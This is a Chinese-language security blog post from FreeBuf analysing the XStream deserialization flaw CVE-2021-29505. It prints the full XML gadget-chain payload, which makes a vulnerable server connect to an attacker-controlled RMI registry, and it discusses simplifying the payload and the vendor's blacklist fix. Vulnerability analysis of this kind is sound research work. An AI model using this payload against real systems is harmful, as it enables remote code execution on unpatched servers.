freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XStream CVE-2021-29505分析与简化
2021-06-22 15:23:27

XStream CVE-2021-29505分析与简化

简介

最近有点其他事,很久没有更新了。正好看到XStream又发布最新的漏洞通告了,而且还有很多人复现,维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用,者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。


漏洞分析

我们首先明确一点,XStream是一个序列化存储对象的库,类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的,很让人容易产生错觉。

Xstream新增了很多功能,例如可以序列化未继承自java.io.serializable接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable的类,则同样会调用对象的readObject方法。

Ysoserial所有的payload均可以转换为xstream格式

所以反序列化漏洞的特点在于类的readObject方法,分析的时候重点看readObject方法都做了什么操作。

目前xstream的修复方案是,没有修复方案,就新增几个黑名单。但是我们知道,xstream可以反序列化任意文件,所以gadget相对好挖

cve-2021-29505的payload如下所示,

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                    <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                      <names>
                        <string>aa</string>
                        <string>aa</string>
                      </names>
                      <ctx>
                        <environment/>
                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                          <java.rmi.server.RemoteObject>
                            <string>UnicastRef</string>
                            <string>ip2</string>
                            <int>1099</int>
                            <long>0</long>
                            <int>0</int>
                            <short>0</short>
                            <boolean>false</boolean>
                          </java.rmi.server.RemoteObject>
                        </registry>
                        <host>ip2</host>
                        <port>1099</port>
                      </ctx>
                    </candidates>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

当然,这段从官网上摘抄的poc是无法使用的,原因我们一会再讲,我们主要说一下xstream是怎么存储一个对象的。

如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization='custom'。在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。

与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。

xstream为了不过多干涉用户的序列化工作,又为了安全性着想,只弄了一个简简单单的黑名单。但是xstream的官方建议是,自己写黑名单类!1.4.16的黑名单类如下,两个都是,也没必要搞清楚了,知道是过滤就行了。


好了,现在基础知识我们知道了。下面开始分析上面的poc,

java.util.PriorityQueue类顾名思义,维持一个有序队列。为了保证反序列化后的队列是有序的,所以在无序地还原完所有元素后,调用heapify方法,将目前无序的队列变成有序的。在这里java为了给我们很大的自由度,规定只要继承自Compare接口的类都可以用来做排序算法。(思考一下是不是与c#的typeConfused gadget类似)

一般java.util.PriorityQueue类的反序列化出发点都会在heapify方法中,也就是调整元素的顺序。但是上面的poc显然并不是这样触发的,原因是poc中根本就没有还原compare字段。

按照我刚才的思路,找poc中类的readObject方法,发现JRMP最终是由sun.rmi.registry.RegistryImpl_Stub去处理。下面我们看看相关代码

要还原RegistryImpl_Stub对象,按照反序列化先后顺序,首先还原父类的字段信息,也就是java.rmi.server.RemoteObject,在poc中已经写明。然后调用java.rmi.server.RemoteObject的readObject方法

首先实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法,最终实际调用的代码如下

看到DGCClient.registerRefs,一切就简单明了了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下


既然我们已经知道了触发流程,那么来简化一下poc吧,删掉不需要的地方,只保留sun.rmi.registry.RegistryImpl_Stub部分,注意别保留java.rmi.server.RemoteObject部分,因为java.rmi.server.RemoteObject是抽象类,不可以被直接实例化的。反序列化也要遵守JVM的规定


触发一下poc

修复分析

我们看一下xstream 1.4.17的黑名单变化

将与rmi有关的类名,全部加入黑名单中。但是治标不治本,weblogic包中也有很多关于rmi的部分哟,祝大家挖的愉快



image

# 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录